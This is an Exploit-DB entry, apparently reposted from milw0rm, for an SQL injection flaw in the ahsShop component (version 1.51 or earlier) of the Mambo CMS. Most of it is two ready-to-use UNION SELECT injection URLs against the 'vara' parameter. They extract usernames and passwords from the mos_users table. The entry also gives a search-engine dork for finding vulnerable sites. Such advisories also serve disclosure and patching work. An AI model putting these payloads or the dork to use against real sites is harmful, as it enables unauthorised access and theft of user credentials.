Mambo Component ahsShop <= 1.51 vara SQL Injection Vulnerability

2008-04-01T00:00:00
ID EDB-ID:5335
Type exploitdb
Reporter S@BUN
Modified 2008-04-01T00:00:00

Description

Mambo Component ahsShop <= 1.51 (vara) SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            ##########################################
#
# Mambo Component com_ahsshop SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "com_ahsshop"do=default
#
###########################################
EXPLOiT 1 :

index.php?option=com_ahsshop&do=default&vara=-99999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,3,4,0x3a,6,0x3a/**/from/**/mos_users/*

EXPLOiT 2 :

index.php?option=com_ahsshop&do=default&vara=-99999/**/union/**/select/**/concat(username,0x3a,password),1/**/from/**/mos_users/*


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

side note:
	&lt;name&gt;ahsshop&lt;/name&gt;
	&lt;creationDate&gt;15.07.2004&lt;/creationDate&gt;
	&lt;author&gt;Arn�r Hei�ar fyrir Netvistun ehf.&lt;/author&gt;
	&lt;copyright&gt;Allur h�fundarr�ttur �skilinn&lt;/copyright&gt;
	&lt;authorEmail&gt;arnor@netvistun.is&lt;/authorEmail&gt;

	&lt;authorUrl&gt;www.netvistun.is&lt;/authorUrl&gt;
	&lt;version&gt;1.51&lt;/version&gt;
	&lt;description&gt;Kerfi �tla� til a� kynna v�rur og v�ruflokka eftir ver�um&lt;/description&gt;

# milw0rm.com [2008-04-01]